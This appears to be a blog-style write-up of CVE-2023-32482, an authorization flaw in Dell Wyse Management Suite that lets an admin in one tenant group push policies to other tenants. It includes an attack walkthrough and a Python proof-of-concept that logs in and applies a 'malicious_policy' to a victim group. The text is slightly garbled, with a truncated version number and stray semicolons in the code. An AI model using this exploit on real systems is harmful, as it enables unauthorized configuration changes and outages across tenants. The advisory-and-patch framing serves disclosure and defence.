CVE-2023-32482 - How a Simple Auth Flaw in Wyse Management Suite Lets Attackers Push Policies Across Tenant Groups

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Update: Wyse Management Suite versions before 4. are vulnerable to a serious flaw (CVE-2023-32482) that could let any user with privileged access bypass key permission boundaries and control policies of other tenants. That means unauthorized access to device settings, rolling out malicious configurations, and even causing company-wide outages—all from a legitimate admin account.

Let's break down what this is, how it works, and why this improper authorization bug is so dangerous.

What is Wyse Management Suite?

Wyse Management Suite (WMS) is Dell's platform for managing their thin clients at scale. Companies rely on it to push policies to devices, maintain configurations, and update software—basically, it’s the nerve center for all your thin clients.

WMS supports multi-tenancy—think: several different business units, each with their own "tenant group" and isolated settings, all existing on the same server.

The Vulnerability: Improper Authorization

This bug is all about improper authorization. In plain English: the app didn’t properly check if an admin was allowed to push configuration policies *outside* their assigned tenant group.

> Versions Affected: Wyse Management Suite before version 4.

What This Means

If you're an authenticated administrator or privileged user in one tenant group, you can reach over and update the policy settings for other tenant groups—even if you shouldn't have any access at all. This completely breaks the intended isolation between tenants.

How Does the Exploit Work?

Let's look at a simplified version using example code.

1. Admin Logs In

An attacker logs into WMS with valid admin credentials (but for a limited tenant group).

session = requests.Session()
login_data = {'username': 'tenant1admin', 'password': 'Password123'}
session.post('https://wms.example.com/api/v1/login';, data=login_data)

Normally, admins can push policy profiles to their own group, like

POST /api/v1/groups/{tenant_group_id}/policies/apply

But the app fails to check if the authenticated admin is assigned to {tenant_group_id}.

Attacker finds or guesses another tenant group’s ID, then posts to *that* endpoint

target_group = 'another_tenant_group_id'  # not your assigned group!
policy_id = '12345'
data = {'policyId': policy_id}

response = session.post(
    f'https://wms.example.com/api/v1/groups/{target_group}/policies/apply';, 
    json=data
)

Expected: App should say “Permission denied, that’s not your group.”
Actual: Policy is pushed to the unauthorized group.

Recon: Get valid credentials (internal employee, disgruntled admin, or compromised account).

2. Enum Tenant Groups: Scrape or guess other tenant group IDs (leaked in URLs, JavaScript, API responses).

Push Policy: Use your session to POST policy changes to another group.

4. Impact: All devices in that tenant group download malicious settings, get locked out, or install attacker’s code.

Proof-of-Concept (PoC) Code

Below is a Python PoC. Note: Use only in lab environments with explicit permission.

import requests

# Replace these with your actual test environment details
WMS_URL = 'https://wms.example.com';
USERNAME = 'adminuser'
PASSWORD = 'SuperSecurePass'

# Your test attack target (not your assigned group!!)
VICTIM_TENANT_GROUP_ID = 'victimgroup'
POLICY_ID = 'malicious_policy'

session = requests.Session()

# Log in
login_resp = session.post(
    f'{WMS_URL}/api/v1/login',
    json={'username': USERNAME, 'password': PASSWORD}
)

assert login_resp.ok, "Login failed"

# Push policy to another tenant group
resp = session.post(
    f"{WMS_URL}/api/v1/groups/{VICTIM_TENANT_GROUP_ID}/policies/apply",
    json={'policyId': POLICY_ID}
)

if resp.ok:
    print("Exploit succeeded! Policy pushed to victim group!")
else:
    print("Exploit failed:", resp.status_code, resp.text)

References & More Reading

- Dell Security Advisory DSA-2023-32482
- NIST NVD CVE-2023-32482
- Dell Wyse Management Suite Overview

Conclusion

The CVE-2023-32482 vulnerability in Wyse Management Suite is a wake-up call: improper authorization is as dangerous as missing authentication, especially in multi-tenant cloud or enterprise systems. Anyone running WMS prior to 4. should patch ASAP and review past activity for signs of abuse.

For further assistance, check out Dell’s security update page and make sure you’re subscribed to their advisories.


*Stay safe. Don’t let attackers manage your management suite!*

Timeline

Published on: 07/20/2023 12:15:00 UTC
Last modified on: 07/26/2023 21:16:00 UTC